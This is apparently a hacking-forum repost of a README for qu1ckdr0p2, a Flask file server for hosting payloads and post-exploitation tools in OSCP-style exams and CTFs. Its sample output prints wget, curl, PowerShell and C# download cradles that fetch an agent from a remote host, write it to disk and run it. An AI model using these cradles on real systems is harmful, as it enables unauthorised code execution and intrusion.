# Qu1Ckdr0P2 | Quicky Serve Files Over Http Or Https Using Flask

**URL:** <https://onehack.st/t/qu1ckdr0p2-quicky-serve-files-over-http-or-https-using-flask/262983>\
**Category:** Tools & Scripts\
**Tags:** tools, hacking\
**Created:** [November 6, 2023, 9:11pm UTC](https://onehack.st/t/qu1ckdr0p2-quicky-serve-files-over-http-or-https-using-flask/262983 "2023-11-06T21:11:18Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![WhiteHat](https://onehack.st/user_avatar/onehack.st/whitehat/32/162514_2.png) [@WhiteHat](https://onehack.st/u/WhiteHat)\
**Post date:** [November 6, 2023, 9:11pm UTC](https://onehack.st/t/qu1ckdr0p2-quicky-serve-files-over-http-or-https-using-flask/262983/1 "2023-11-06T21:11:18Z")

</div>

# [![](https://github.com/byinarie/qu1ckdr0p2/raw/main/img/quick_drop_small.png)](https://github.com/byinarie/qu1ckdr0p2#----)

![Python](https://camo.githubusercontent.com/a1b2dac5667822ee0d98ae6d799da61987fd1658dfeb4d2ca6e3c99b1535ebd8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f707974686f6e2d3336373041303f7374796c653d666f722d7468652d6261646765266c6f676f3d707974686f6e266c6f676f436f6c6f723d666664643534) ![Flask](https://camo.githubusercontent.com/43c40e9f61f01e780f4cfed5dafda9e3494310ba1b6ea11e20c4949e556a47c3/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f666c61736b2d2532333030302e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d666c61736b266c6f676f436f6c6f723d7768697465) ![Visual Studio Code](https://camo.githubusercontent.com/a0484e6383e852e622da1e934b7724921ab9b69d69246d90f899424b01f6deb1/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f56697375616c25323053747564696f253230436f64652d3030373864372e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d76697375616c2d73747564696f2d636f6465266c6f676f436f6c6f723d7768697465) ![Prettier](https://camo.githubusercontent.com/f290e2c5e0f18a1b5344324a5489657d0faecef09e9b17a94148d6b384725897/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f70726574746965722d3141324333343f7374796c653d666f722d7468652d6261646765266c6f676f3d7072657474696572266c6f676f436f6c6f723d463742413345) [![License: MIT](https://camo.githubusercontent.com/962fe0b215f394f4213bff58fe353f6fdd2f053cf21d15b64b2ecd7fc74fbc53/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c6963656e73652d4d49542d79656c6c6f772e7376673f7374796c653d666f722d7468652d6261646765)](https://opensource.org/licenses/MIT)

## [About](https://github.com/byinarie/qu1ckdr0p2#about)

Rapidly host payloads and post-exploitation bins over HTTP or HTTPS.

Designed to be used on exams like OSCP / PNPT or CTFs HTB / etc.

Pull requests and issues welcome. As are any contributions.

Qu1ckdr0p2 comes with an alias and search feature. The tools are located in the [qu1ckdr0p2-tools](https://github.com/byinarie/qu1ckdr0p2-tools) repository. By default it will generate a self-signed certificate to use when using the `--https` option, priority is also given to the `tun0` interface when the webserver is running, otherwise it will use `eth0`.

The [common.ini](https://github.com/byinarie/qu1ckdr0p2-tools/blob/main/config/common.ini) defines the mapped aliases used within the `--search and -u` options.

When the webserver is running there are several download cradles printed to the screen to copy and paste.

## [NOTE](https://github.com/byinarie/qu1ckdr0p2#note)

When you go to copy and paste a download cradle, depending on your terminal emulator of choice you may have to QUICKLY triple or double click the download cradle to highlight it for a copy. This will be fixed in a later version.

## [Install](https://github.com/byinarie/qu1ckdr0p2#install)

#### [Using pip is the only supported way of installing](https://github.com/byinarie/qu1ckdr0p2#using-pip-is-the-only-supported-way-of-installing)

#### [Cloning this repository to install will probably break something](https://github.com/byinarie/qu1ckdr0p2#cloning-this-repository-to-install-will-probably-break-something)

pip3 install qu1ckdr0p2 echo “alias serv=‘~/.local/bin/serv’” \>\> ~/.zshrc source ~/.zshrc or echo “alias serv=‘~/.local/bin/serv’” \>\> ~/.bashrc source ~/.bashrc serv init --update

## [Usage](https://github.com/byinarie/qu1ckdr0p2#usage)

### [Serv a single file located in your current working directory](https://github.com/byinarie/qu1ckdr0p2#serv-a-single-file-located-in-your-current-working-directory)

$ serv serve -f implant.bin --https 443

$ serv serve -f file.example --http 8080

## [Update and help](https://github.com/byinarie/qu1ckdr0p2#update-and-help)

$ serv --help Usage: serv [OPTIONS] COMMAND [ARGS]… Welcome to qu1ckdr0p2 entry point. Options: --debug Enable debug mode. --help Show this message and exit. Commands: init Perform updates. serve Serve files.

$ serv serve --help Usage: serv serve [OPTIONS] Serve files. Options: -l, --list List aliases -s, --search TEXT Search query for aliases -u, --use INTEGER Use an alias by a dynamic number -f, --file FILE Serve a file --http INTEGER Use HTTP with a custom port --https INTEGER Use HTTPS with a custom port -h, --help Show this message and exit.

$ serv init --help Usage: serv init [OPTIONS] Perform updates. Options: --update Check and download missing tools. --update-self Update the tool using pip. --update-self-test Used for dev testing, installs unstable build. --help Show this message and exit.

$ serv init --update

$ serv init --update-self

### [Serv a file from a mapped alias](https://github.com/byinarie/qu1ckdr0p2#serv-a-file-from-a-mapped-alias)

The mapped alias numbers for the `-u` option are dynamic so you don’t have to remember specific numbers or ever type out a tool name.

$ serv serve --search ligolo [→] Path: ~/.qu1ckdr0p2/windows/agent.exe [→] Alias: ligolo\_agent\_win [→] Use: 1 [→] Path: ~/.qu1ckdr0p2/windows/proxy.exe [→] Alias: ligolo\_proxy\_win [→] Use: 2 [→] Path: ~/.qu1ckdr0p2/linux/agent [→] Alias: ligolo\_agent\_linux [→] Use: 3 [→] Path: ~/.qu1ckdr0p2/linux/proxy [→] Alias: ligolo\_proxy\_linux [→] Use: 4 (…)

$ serv serve --search ligolo -u 3 --http 80 [→] Serving: ../../.qu1ckdr0p2/linux/agent [→] Protocol: http [→] IP address: 192.168.1.5 [→] Port: 80 [→] Interface: eth0 [→] CTRL+C to quit [→] URL: [http://192.168.1.5:80/agent](http://192.168.1.5:80/agent) [↓] csharp: $webclient = New-Object System.Net.WebClient; $webclient.DownloadFile(‘[http://192.168.1.5:80/agent](http://192.168.1.5:80/agent)’, ‘c:\windows\temp\agent’); Start-Process ‘c:\windows\temp\agent’ [↓] wget: wget [http://192.168.1.5:80/agent](http://192.168.1.5:80/agent) -O /tmp/agent && chmod +x /tmp/agent && /tmp/agent [↓] curl: curl [http://192.168.1.5:80/agent](http://192.168.1.5:80/agent) -o /tmp/agent && chmod +x /tmp/agent && /tmp/agent [↓] powershell: Invoke-WebRequest -Uri [http://192.168.1.5:80/agent](http://192.168.1.5:80/agent) -OutFile c:\windows\temp\agent; Start-Process c:\windows\temp\agent ⠧ Web server running

## [License](https://github.com/byinarie/qu1ckdr0p2#license)

MIT

## GitHub:

> **[GitHub - byinarie/qu1ckdr0p2: Quicky serve files over http or https using flask.](https://github.com/byinarie/qu1ckdr0p2)**
>
> Quicky serve files over http or https using flask.
